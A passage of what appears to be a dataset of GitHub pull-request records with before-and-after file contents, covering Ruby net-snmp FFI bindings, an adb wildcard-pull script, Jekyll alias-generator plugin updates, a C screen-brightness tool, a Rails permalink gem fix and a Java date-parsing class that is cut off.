callback([ :pointer, :pointer, :int ], :int) ], :pointer\n  attach_function :snmp_add, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :int ], :int) ], :pointer\n  attach_function :snmp_add_full, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int), callback([ :pointer, :pointer, :uint ], :pointer) ], :pointer\n  attach_function :snmp_sess_send, [ :pointer, :pointer ], :int\n  attach_function :snmp_sess_async_send, [ :pointer, :pointer, :snmp_callback, :pointer ], :int\n  attach_function :snmp_sess_select_info, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmp_sess_read, [ :pointer, :pointer ], :int\n  attach_function :snmp_sess_timeout, [ :pointer ], :void\n  attach_function :snmp_sess_close, [ :pointer ], :int\n  attach_function :snmp_sess_error, [ :pointer, :pointer, :pointer, :pointer ], :void\n  attach_function :netsnmp_sess_log_error, [ :int, :string, :pointer ], :void\n  attach_function :snmp_sess_perror, [ :string, :pointer ], :void\n  attach_function :snmp_pdu_type, [ :int ], :string\n\n\n  \n  attach_function :asn_check_packet, [ :pointer, :uint ], :int\n  attach_function :asn_parse_int, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_int, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_unsigned_int, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_unsigned_int, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_string, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_string, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_header, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_parse_sequence, [ :pointer, :pointer, :pointer, :u_char, :string ], :pointer\n  attach_function :asn_build_header, [ :pointer, :pointer, :u_char, :uint ], :pointer\n  attach_function :asn_build_sequence, [ :pointer, :pointer, :u_char, :uint ], :pointer\n  attach_function :asn_parse_length, [ :pointer, :pointer ], :pointer\n  attach_function :asn_build_length, [ :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_parse_objid, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_objid, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_null, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_null, [ :pointer, :pointer, :u_char ], :pointer\n  attach_function :asn_parse_bitstring, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_bitstring, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_unsigned_int64, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_unsigned_int64, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_signed_int64, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_signed_int64, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_build_float, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_float, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_double, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_double, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n\n  attach_function :snmp_pdu_create, [:int], SnmpPdu.typed_pointer\n  attach_function :get_node,[:string, :pointer, :pointer], :int\n  attach_function :read_objid, [:string, :pointer, :pointer], :int\n  attach_function :snmp_add_null_var, [:pointer, :pointer, :size_t], :pointer\n  attach_function :snmp_sess_synch_response, [:pointer, :pointer, :pointer], :int\n  attach_function :snmp_synch_response, [:pointer, :pointer, :pointer], :int\n  attach_function :snmp_parse_oid, [:string, :pointer, :pointer], :pointer\n  attach_function :snmp_api_errstring, [ :int ], :string\n  attach_function :snmp_perror, [ :string ], :void\n  attach_function :snmp_set_detail, [ :string ], :void\n  \n  attach_function :snmp_select_info, [:pointer, :pointer, :pointer, :pointer], :int\n  attach_function :snmp_read, [:pointer], :void\n  attach_function :generate_Ku, [:pointer, :int, :string, :int, :pointer, :pointer], :int\n\n\n\n  # MIB functions\n  attach_function :netsnmp_init_mib, [], :void\n  attach_function :read_all_mibs, [], :void\n  attach_function :add_mibdir, [:string], :int\n  attach_function :read_mib, [:string], Tree.typed_pointer\n  attach_function :netsnmp_read_module, [:string], Tree.typed_pointer\n  attach_function :snmp_set_save_descriptions, [:int], :void\n\n  attach_function :get_tree_head, [], Tree.typed_pointer\n  attach_function :get_tree, [:pointer, :int, :pointer], Tree.typed_pointer\n  #attach_function :send_easy_trap, [:int, :int], :void\n  #attach_function :send_trap_vars, [:int, :int, :pointer], :void\n  #attach_function :send_v2trap, [:pointer], :void\n  \n  attach_function :shutdown_usm, [], :void\n\n  def self.get_fd_set\n    FFI::MemoryPointer.new(:pointer, 128)\n  end\n  \n\nend\nend\nend\n\n\n#module RubyWrapper\n#  extend FFI::Library\n#  ffi_lib FFI::CURRENT_PROCESS\n#  attach_function :rb_thread_select, [:int, :pointer, :pointer, :pointer, :pointer], :int\n#end\n\n\n\nmodule FFI\n  module LibC\n    extend FFI::Library\n    ffi_lib [FFI::CURRENT_PROCESS, 'c']\n\n    typedef :pointer, :FILE\n    typedef :uint32, :in_addr_t\n    typedef :uint16, :in_port_t\n\n    class Timeval < FFI::Struct\n      layout :tv_sec, :time_t,\n             :tv_usec, :suseconds_t\n    end\n\n    # Standard IO functions\n    #@blocking = true  # some undocumented voodoo that tells the next attach_function to release the GIL\n    attach_function :select, [:int, :pointer, :pointer, :pointer, :pointer], :int\n    attach_variable :errno, :int\n    attach_function :malloc, [:size_t], :pointer\n    attach_function :free, [:pointer], :void\n  end\nend\n\n"}}
{"repo": "dpavlin/android-command-line", "pr_number": 4, "title": "add adb shell command to pull wildcard files, watch the '()' containing filenames", "state": "closed", "merged_at": "2019-12-02T16:56:30Z", "additions": 1, "deletions": 1, "files_changed": ["adb-pull-wildcard.sh"], "files_before": {"adb-pull-wildcard.sh": "#!/bin/sh -e\n\ntest -z \"$1\" && echo \"usage: $0 /sdcard/DCIM/Camera/*20121111*\" && exit 1\n\nls $1 | tr -d '\\r' | xargs -i sh -c 'echo {} ; adb pull {} .'\n\n"}, "files_after": {"adb-pull-wildcard.sh": "#!/bin/sh -e\n\ntest -z \"$1\" && echo \"usage: $0 /sdcard/DCIM/Camera/*20121111*\" && exit 1\n\nadb shell ls \"$1\" | tr -d '\\r' | xargs -i sh -c 'echo \"{}\" ; adb pull \"{}\" .'\n\n"}}
{"repo": "michaeldwan/michaeldwan.com", "pr_number": 1, "title": "Update plugins", "state": "closed", "merged_at": null, "additions": 10, "deletions": 13, "files_changed": ["source/_plugins/alias_generator.rb", "source/_plugins/ext.rb"], "files_before": {"source/_plugins/alias_generator.rb": "# Alias Generator for Posts.\n#\n# Generates redirect pages for posts with aliases set in the YAML Front Matter.\n#\n# Place the full path of the alias (place to redirect from) inside the\n# destination post's YAML Front Matter. One or more aliases may be given.\n#\n# Example Post Configuration:\n#\n#   ---\n#     layout: post\n#     title: \"How I Keep Limited Pressing Running\"\n#     alias: /post/6301645915/how-i-keep-limited-pressing-running/index.html\n#   ---\n#\n# Example Post Configuration:\n#\n#   ---\n#     layout: post\n#     title: \"How I Keep Limited Pressing Running\"\n#     alias: [/first-alias/index.html, /second-alias/index.html]\n#   ---\n#\n# Author: Thomas Mango\n# Site: http://thomasmango.com\n# Plugin Source: http://github.com/tsmango/jekyll_alias_generator\n# Site Source: http://github.com/tsmango/thomasmango.com\n# PLugin License: MIT\n\nmodule Jekyll\n\n  class AliasGenerator < Generator\n\n    def generate(site)\n      @site = site\n\n      process_posts\n      process_pages\n    end\n\n    def process_posts\n      @site.posts.each do |post|\n        generate_aliases(post.url, post.data['alias'])\n      end\n    end\n\n    def process_pages\n      @site.pages.each do |page|\n        generate_aliases(page.destination('').gsub(/index\\.(html|htm)$/, ''), page.data['alias'])\n      end\n    end\n\n    def generate_aliases(destination_path, aliases)\n      alias_paths ||= Array.new\n      alias_paths << aliases\n      alias_paths.compact!\n\n      alias_paths.flatten.each do |alias_path|\n        alias_path = alias_path.to_s\n\n        alias_dir  = File.extname(alias_path).empty? ? alias_path : File.dirname(alias_path)\n        alias_file = File.extname(alias_path).empty? ? \"index.html\" : File.basename(alias_path)\n\n        fs_path_to_dir   = File.join(@site.dest, alias_dir)\n        alias_index_path = File.join(alias_dir, alias_file)\n\n        FileUtils.mkdir_p(fs_path_to_dir)\n\n        File.open(File.join(fs_path_to_dir, alias_file), 'w') do |file|\n          file.write(alias_template(destination_path))\n        end\n\n        (alias_index_path.split('/').size + 1).times do |sections|\n          @site.static_files << Jekyll::AliasFile.new(@site, @site.dest, alias_index_path.split('/')[0, sections].join('/'), '')\n        end\n      end\n    end\n\n    def alias_template(destination_path)\n      <<-EOF\n      <!DOCTYPE html>\n      <html>\n      <head>\n      <link rel=\"canonical\" href=\"#{destination_path}\"/>\n      <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n      <meta http-equiv=\"refresh\" content=\"0;url=#{destination_path}\" />\n      </head>\n      </html>\n      EOF\n    end\n  end\n\n  class AliasFile < StaticFile\n    require 'set'\n\n    def destination(dest)\n      File.join(dest, @dir)\n    end\n\n    def modified?\n      return false\n    end\n\n    def write(dest)\n      return true\n    end\n  end\nend\n", "source/_plugins/ext.rb": "require \"jekyll-assets\"\nrequire \"jekyll-assets/compass\"\n"}, "files_after": {"source/_plugins/alias_generator.rb": "# Alias Generator for Posts.\n#\n# Generates redirect pages for posts with aliases set in the YAML Front Matter.\n#\n# Place the full path of the alias (place to redirect from) inside the\n# destination post's YAML Front Matter. One or more aliases may be given.\n#\n# Example Post Configuration:\n#\n#   ---\n#     layout: post\n#     title: \"How I Keep Limited Pressing Running\"\n#     alias: /post/6301645915/how-i-keep-limited-pressing-running/index.html\n#   ---\n#\n# Example Post Configuration:\n#\n#   ---\n#     layout: post\n#     title: \"How I Keep Limited Pressing Running\"\n#     alias: [/first-alias/index.html, /second-alias/index.html]\n#   ---\n#\n# Author: Thomas Mango\n# Site: http://thomasmango.com\n# Plugin Source: http://github.com/tsmango/jekyll_alias_generator\n# Site Source: http://github.com/tsmango/tsmango.github.com\n# Plugin License: MIT\n\nmodule Jekyll\n\n  class AliasGenerator < Generator\n\n    def generate(site)\n      @site = site\n\n      process_posts\n      process_pages\n    end\n\n    def process_posts\n      @site.posts.docs.each do |post|\n        generate_aliases(post.url, post.data['alias'])\n      end\n    end\n\n    def process_pages\n      @site.pages.each do |page|\n        generate_aliases(page.destination('').gsub(/index\\.(html|htm)$/, ''), page.data['alias'])\n      end\n    end\n\n    def generate_aliases(destination_path, aliases)\n      alias_paths ||= Array.new\n      alias_paths << aliases\n      alias_paths.compact!\n\n      alias_paths.flatten.each do |alias_path|\n        alias_path = File.join('/', alias_path.to_s)\n\n        alias_dir  = File.extname(alias_path).empty? ? alias_path : File.dirname(alias_path)\n        alias_file = File.extname(alias_path).empty? ? \"index.html\" : File.basename(alias_path)\n\n        fs_path_to_dir = File.join(@site.dest, alias_dir)\n        alias_sections = alias_dir.split('/')[1..-1]\n\n        FileUtils.mkdir_p(fs_path_to_dir)\n\n        File.open(File.join(fs_path_to_dir, alias_file), 'w') do |file|\n          file.write(alias_template(destination_path))\n        end\n\n        alias_sections.size.times do |sections|\n          @site.static_files << Jekyll::AliasFile.new(@site, @site.dest, alias_sections[0, sections + 1].join('/'), '')\n        end\n        @site.static_files << Jekyll::AliasFile.new(@site, @site.dest, alias_dir, alias_file)\n      end\n    end\n\n    def alias_template(destination_path)\n      <<-EOF\n      <!DOCTYPE html>\n      <html>\n      <head>\n      <link rel=\"canonical\" href=\"#{destination_path}\"/>\n      <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n      <meta http-equiv=\"refresh\" content=\"0;url=#{destination_path}\" />\n      </head>\n      </html>\n      EOF\n    end\n  end\n\n  class AliasFile < StaticFile\n    require 'set'\n\n    def modified?\n      return false\n    end\n\n    def write(dest)\n      return true\n    end\n  end\nend\n", "source/_plugins/ext.rb": "require \"jekyll-assets\"\nrequire \"compass\"\n"}}
{"repo": "zaius/bright", "pr_number": 2, "title": "Update bright.c", "state": "open", "merged_at": null, "additions": 1, "deletions": 1, "files_changed": ["bright.c"], "files_before": {"bright.c": "/*\n * Copyright (c) 2010, David Kelso <david at kelso dot id dot au>\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <stdio.h>\n\n// How far the brightness should move with each step.\n#define JUMP 0xa\n\nint main(int argc, char *argv[]) {\n  unsigned int value, location[3];\n  int success;\n  char command[100];\n  FILE *fp;\n\n  if (geteuid()) {\n    printf(\"Must be root\\n\");\n    return 1;\n  }\n\n  if (argc != 2) {\n    printf(\"One argument required: ++ or --\\n\");\n    return 1;\n  }\n\n  // Get the PCI location of the VGA adapter\n  fp = popen(\"lspci | grep VGA\", \"r\");\n  success = fscanf(fp, \"%20d:%2d.%1d VGA\", &location[0], &location[1], &location[2]);\n  pclose(fp);\n\n  if (!success) {\n    printf(\"lspci couldn't find your vga adapter\\n\");\n    return 1;\n  }\n\n\n  // Get the existing value of the brightness\n  snprintf(command, sizeof command, \"setpci -s %02d:%02d.%01d F4.B\", \n      location[0], location[1], location[2]);\n  fp = popen(command, \"r\");\n  success = fscanf(fp, \"%x\", &value);\n  pclose(fp);\n\n  if (!success) {\n    printf(\"setpci didn't work\\n\");\n    return 1;\n  }\n\n  // Increase of decrease the existing brightness value\n  if (strcmp(argv[1], \"++\") == 0) {\n    value += JUMP;\n    if (value > 0xff) value = 0xff;\n  } else if (strcmp(argv[1], \"--\") == 0) {\n    if (value < JUMP) value = 0;\n    else value -= JUMP;\n  } else {\n    printf(\"++ to increase, -- to decrease\\n\");\n    return 1;\n  }\n\n  // Set the new brightness value\n  snprintf(command, sizeof command, \"setpci -s %02d:%02d.%01d F4.B=%x\", \n      location[0], location[1], location[2], value);\n  system(command);\n\n  return 0;\n}\n"}, "files_after": {"bright.c": "/*\n * Copyright (c) 2010, David Kelso <david at kelso dot id dot au>\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <stdio.h>\n\n// How far the brightness should move with each step.\n#define JUMP 0xa\n\nint main(int argc, char *argv[]) {\n  unsigned int value, location[3];\n  int success;\n  char command[100];\n  FILE *fp;\n\n  if (geteuid()) {\n    printf(\"Must be root\\n\");\n    return 1;\n  }\n\n  if (argc != 2) {\n    printf(\"One argument required: ++ or --\\n\");\n    return 1;\n  }\n\n  // Get the PCI location of the VGA adapter\n  fp = popen(\"lspci | grep VGA\", \"r\");\n  success = fscanf(fp, \"%20d:%2d.%1d VGA\", &location[0], &location[1], &location[2]);\n  pclose(fp);\n\n  if (!success) {\n    printf(\"lspci couldn't find your vga adapter\\n\");\n    return 1;\n  }\n\n\n  // Get the existing value of the brightness\n  snprintf(command, sizeof command, \"setpci -s %02d:%02d.%01d F4.B\", \n      location[0], location[1], location[2]);\n  fp = popen(command, \"r\");\n  success = fscanf(fp, \"%x\", &value);\n  pclose(fp);\n\n  if (!success) {\n    printf(\"setpci didn't work\\n\");\n    return 1;\n  }\n\n  // Increase or decrease the existing brightness value\n  if (strcmp(argv[1], \"++\") == 0) {\n    value += JUMP;\n    if (value > 0xff) value = 0xff;\n  } else if (strcmp(argv[1], \"--\") == 0) {\n    if (value < JUMP) value = 0;\n    else value -= JUMP;\n  } else {\n    printf(\"++ to increase, -- to decrease\\n\");\n    return 1;\n  }\n\n  // Set the new brightness value\n  snprintf(command, sizeof command, \"setpci -s %02d:%02d.%01d F4.B=%x\", \n      location[0], location[1], location[2], value);\n  system(command);\n\n  return 0;\n}\n"}}
{"repo": "olkarls/has_permalink", "pr_number": 18, "title": "Don't autofix for the Objects own ID", "state": "open", "merged_at": null, "additions": 5, "deletions": 1, "files_changed": ["lib/has_permalink.rb"], "files_before": {"lib/has_permalink.rb": "require 'friendly_url'\n\nmodule HasPermalink\n  require 'railtie' if defined?(Rails) && Rails.version >= \"3\"\n\n  def has_permalink(generate_from = :title, auto_fix_duplication = false)\n    unless included_modules.include? InstanceMethods\n      class_attribute :generate_from\n      class_attribute :auto_fix_duplication\n      extend ClassMethods\n      include InstanceMethods\n    end\n\n    self.generate_from        = generate_from\n    self.auto_fix_duplication = auto_fix_duplication\n    before_validation :generate_permalink\n  end\n\n  module ClassMethods\n    # Makes it possible to generate permalinks for\n    # all instances of self:\n    #\n    #   Product.generate_permalinks\n    #\n    def generate_permalinks\n      self.all.each do |item|\n        item.generate_permalink\n        item.save\n      end\n    end\n  end\n\n  module InstanceMethods\n    include FriendlyUrl\n\n    # Generate permalink for the instance if the permalink is empty or nil.\n    def generate_permalink\n      self.permalink = fix_duplication(normalize(self.send(generate_from))) if permalink.blank?\n    end\n\n    # Generate permalink for the instance and overwrite any existing value.\n    def generate_permalink!\n      self.permalink = fix_duplication(normalize(self.send(generate_from)))\n    end\n\n    # Override to send permalink as params[:id]\n    def to_param\n      permalink\n    end\n\n    private\n\n    # Autofix duplication of permalinks\n    def fix_duplication(permalink)\n      if auto_fix_duplication\n        n = self.class.where([\"permalink = ?\", permalink]).count\n\n        if n > 0\n          links = self.class.where([\"permalink LIKE ?\", \"#{permalink}%\"]).order(\"id\")\n\n          number = 0\n\n          links.each_with_index do |link, index|\n            if link.permalink =~ /#{permalink}-\\d*\\.?\\d+?$/\n              new_number = link.permalink.match(/-(\\d*\\.?\\d+?)$/)[1].to_i\n              number = new_number if new_number > number\n            end\n          end\n          resolve_duplication(permalink, number + 1)\n        else\n          permalink\n        end\n      else\n        permalink\n      end\n    end\n\n    def resolve_duplication(permalink, number)\n      \"#{permalink}-#{number}\"\n    end\n  end\nend\n\nActiveRecord::Base.send :extend, HasPermalink\n"}, "files_after": {"lib/has_permalink.rb": "require 'friendly_url'\n\nmodule HasPermalink\n  require 'railtie' if defined?(Rails) && Rails.version >= \"3\"\n\n  def has_permalink(generate_from = :title, auto_fix_duplication = false)\n    unless included_modules.include? InstanceMethods\n      class_attribute :generate_from\n      class_attribute :auto_fix_duplication\n      extend ClassMethods\n      include InstanceMethods\n    end\n\n    self.generate_from        = generate_from\n    self.auto_fix_duplication = auto_fix_duplication\n    before_validation :generate_permalink\n  end\n\n  module ClassMethods\n    # Makes it possible to generate permalinks for\n    # all instances of self:\n    #\n    #   Product.generate_permalinks\n    #\n    def generate_permalinks\n      self.all.each do |item|\n        item.generate_permalink\n        item.save\n      end\n    end\n  end\n\n  module InstanceMethods\n    include FriendlyUrl\n\n    # Generate permalink for the instance if the permalink is empty or nil.\n    def generate_permalink\n      self.permalink = fix_duplication(normalize(self.send(generate_from))) if permalink.blank?\n    end\n\n    # Generate permalink for the instance and overwrite any existing value.\n    def generate_permalink!\n      self.permalink = fix_duplication(normalize(self.send(generate_from)))\n    end\n\n    # Override to send permalink as params[:id]\n    def to_param\n      permalink\n    end\n\n    private\n\n    # Autofix duplication of permalinks\n    def fix_duplication(permalink)\n      if auto_fix_duplication\n        n = if id.present?\n          self.class.where([\"permalink = ? AND id != ?\", permalink, id]).count\n        else\n          self.class.where([\"permalink = ?\", permalink]).count\n        end\n\n        if n > 0\n          links = self.class.where([\"permalink LIKE ?\", \"#{permalink}%\"]).order(\"id\")\n\n          number = 0\n\n          links.each_with_index do |link, index|\n            if link.permalink =~ /#{permalink}-\\d*\\.?\\d+?$/\n              new_number = link.permalink.match(/-(\\d*\\.?\\d+?)$/)[1].to_i\n              number = new_number if new_number > number\n            end\n          end\n          resolve_duplication(permalink, number + 1)\n        else\n          permalink\n        end\n      else\n        permalink\n      end\n    end\n\n    def resolve_duplication(permalink, number)\n      \"#{permalink}-#{number}\"\n    end\n  end\nend\n\nActiveRecord::Base.send :extend, HasPermalink\n"}}
{"repo": "collegeman/stringtotime", "pr_number": 2, "title": "Streamline the java StringToTime code", "state": "open", "merged_at": null, "additions": 1125, "deletions": 789, "files_changed": ["src/main/java/com/clutch/dates/DateEditor.java", "src/main/java/com/clutch/dates/StringToTime.java", "src/main/java/com/clutch/dates/StringToTimeException.java", "src/test/java/com/clutch/dates/StringToTimeTest.java"], "files_before": {"src/main/java/com/clutch/dates/DateEditor.java": "package com.clutch.dates;\n\nimport java.beans.PropertyEditorSupport;\nimport java.util.Date;\n\nimport org.springframework.beans.PropertyEditorRegistrar;\nimport org.springframework.beans.PropertyEditorRegistry;\n\npublic class DateEditor extends PropertyEditorSupport implements PropertyEditorRegistrar {\n\n\t@Override\n\tpublic void setAsText(String text) throws IllegalArgumentException {\n\t\tObject date = StringToTime.date(text);\n\t\tif (!Boolean.FALSE.equals(date))\n\t\t\tsetValue((Date) date);\n\t\telse\n\t\t\tthrow new IllegalArgumentException(String.format(\"[%s] is not a date.\", text));\n\t}\n\n//\t@Override\n\tpublic void registerCustomEditors(PropertyEditorRegistry registry) {\n\t\tregistry.registerCustomEditor(Date.class, new DateEditor());\n\t\tregistry.registerCustomEditor(Date.class, new DateEditor());\n\t}\n\t\n}\n", "src/main/java/com/clutch/dates/StringToTime.java": "package com.clutch.dates;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\n\n/**\n * A Java implementation of the PHP function strtotime(String, int): accepts various expressions of time\n * in <code>String</code> format, and instantiates a {@link java.util.Date} object.  \n * \n * <p>\n * There are two ways to use <code>StringToTime</code> to parse dates: \n * <ul>\n * <li>static methods ({@link #time(Object)}, {@link #date(Object)}, {@link #cal(Object)})</li>\n * <li>creating an instance of <code>StringToTime</code> with {@link #StringToTime(Object)}</li>\n * </ul>\n * </p>\n * \n * <p>The static methods provide a UNIX-style timestamp, a {@link java.util.Date} instance, or a \n * {@link java.util.Calendar} instance.  In the event the time expression provided is invalid, \n * these methods return <code>Boolean.FALSE</code>.</p>\n * \n * <p>Instances of <code>StringToTime</code> inherit from {@link java.util.Date}; so, when instantiated\n * with an expression that the algorithm recognizes, the resulting instance of <code>StringToTime</code>\n * can be passed to any method or caller requiring a {@link java.util.Date} object. Unlike the static methods,\n * attempting to create a <code>StringToTime</code> instance with an invalid expression of time \n * results in a {@link StringToTimeException}.</p> \n * \n * <h2>Valid expressions of time</h2>\n * \n * <p>All expressions are case-insensitive.</p>\n * \n * <ul>\n * <li><code>now</code> (equal to <code>new Date()</code>)</li>\n * <li><code>today</code> (equal to <code>StringToTime(\"00:00:00.000\")</code>)</li>\n * <li><code>midnight</code> (equal to <code>StringToTime(\"00:00:00.000 +24 hours\")</code>)</li>\n * <li><code>morning</code> or <code>this morning</code> (by default, equal to<code>StringToTime(\"07:00:00.000\")</code>)</li>\n * <li><code>noon</code> (by default, equal to <code>StringToTime(\"12:00:00.000\")</code></li>\n * <li><code>afternoon</code> or <code>this afternoon</code> (by default, equal to <code>StringToTime(\"13:00:00.000\")</code></li>\n * <li><code>evening</code> or <code>this evening</code> (by default, equal to <code>StringToTime(\"17:00:00.000\")</code></li>\n * <li><code>tonight</code> (by default, equal to <code>StringToTime(\"20:00:00.000\")</code></li>\n * <li><code>tomorrow</code> (by default, equal to <code>StringToTime(\"now +24 hours\")</code>)</li>\n * <li><code>tomorrow morning</code> (by default, equal to <code>StringToTime(\"morning +24 hours\")</code>)</li>\n * <li><code>noon tomorrow</code> or <code>tomorrow noon</code> (by default, equal to <code>StringToTime(\"noon +24 hours\")</code>)</li>\n * <li><code>tomorrow afternoon</code> (by default, equal to <code>StringToTime(\"afternoon +24 hours\")</code>)</li>\n * <li><code>yesterday</code> (by default, equal to <code>StringToTime(\"now -24 hours\")</code>)</li>\n * <li>all the permutations of <code>yesterday</code> and <code>morning</code>, <code>noon</code>, <code>afternoon</code>, and <code>evening</code></li>\n * <li><code>October 26, 1981</code> or <code>Oct 26, 1981</code></li>\n * <li><code>October 26</code> or <code>Oct 26</code></li>\n * <li><code>26 October 1981</code></li>\n * <li><code>26 Oct 1981</code></li>\n * <li><code>26 Oct 81</code></li>\n * <li><code>10/26/1981</code> or <code>10-26-1981</code></li>\n * <li><code>10/26/81</code> or <code>10-26-81</code></li>\n * <li><code>1981/10/26</code> or <code>1981-10-26</code></li>\n * <li><code>10/26</code> or <code>10-26</code></li>\n * </ul>\n * \n * @author Aaron Collegeman acollegeman@clutch-inc.com\n * @since JRE 1.5.0\n * @see http://us3.php.net/manual/en/function.strtotime.php\n */\npublic class StringToTime extends Date {\n\n\tprivate static final long serialVersionUID = 7889493424407815134L;\n\n\tprivate static final Log log = LogFactory.getLog(StringToTime.class);\n\t\n\t// default SimpleDateFormat string is the standard MySQL date format\n\tprivate static final String defaultSimpleDateFormat = \"yyyy-MM-dd HH:mm:ss.SSS\";\n\t\n\t// An expression of time (hour)(:(minute))?((:(second))(.(millisecond))?)?( *(am?|pm?))?(RFC 822 time zone|general time zone)?\n\tprivate static final String timeExpr = \"(\\\\d{1,2})(:(\\\\d{1,2}))?(:(\\\\d{1,2})(\\\\.(\\\\d{1,3}))?)?( *(am?|pm?))?( *\\\\-\\\\d{4}|[a-z]{3}|[a-z ]+)?\";\n\t\n\t/** Patterns and formats recognized by the algorithm; first match wins, so insert most specific patterns first. */\n\tprivate static final PatternAndFormat[] known = {\n\t\t\n\t\t// TODO: ISO 8601 and derivatives\n\t\t\n\t\t// just the year\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{4}\"),\n\t\t\tnew Format(FormatType.YEAR)\n\t\t),\n\t\t\n\t\t// decrement, e.g., -1 day\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\-( *\\\\d{1,} +[^ ]+){1,}\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.DECREMENT)\n\t\t),\n\t\t\n\t\t// increment, e.g., +1 day\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\+?( *\\\\d{1,} +[^ ]+){1,}\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.INCREMENT)\n\t\t),\n\t\t\n\t\t// e.g., October 26 and Oct 26\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"([a-z]+) +(\\\\d{1,2})\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.MONTH_AND_DATE)\n\t\t),\n\t\t\n\t\t// e.g., 26 October 1981, or 26 Oct 1981, or 26 Oct 81\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{1,2} +[a-z]+ +(\\\\d{2}|\\\\d{4})\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(\"d MMM y\")\t\n\t\t),\n\t\t\n\t\t// now or today\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"(midnight|now|today|(this +)?(morning|afternoon|evening)|tonight|noon( +tomorrow)?|tomorrow|tomorrow +(morning|afternoon|evening|night|noon)?|yesterday|yesterday +(morning|afternoon|evening|night)?)\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.WORD)\n\t\t),\n\t\t\n\t\t// time, 24-hour and 12-hour\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(timeExpr, Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.TIME)\n\t\t),\n\t\t\n\t\t// e.g., October 26, 1981 or Oct 26, 1981\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"[a-z]+ +\\\\d{1,2} *, *(\\\\d{2}|\\\\d{4})\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew 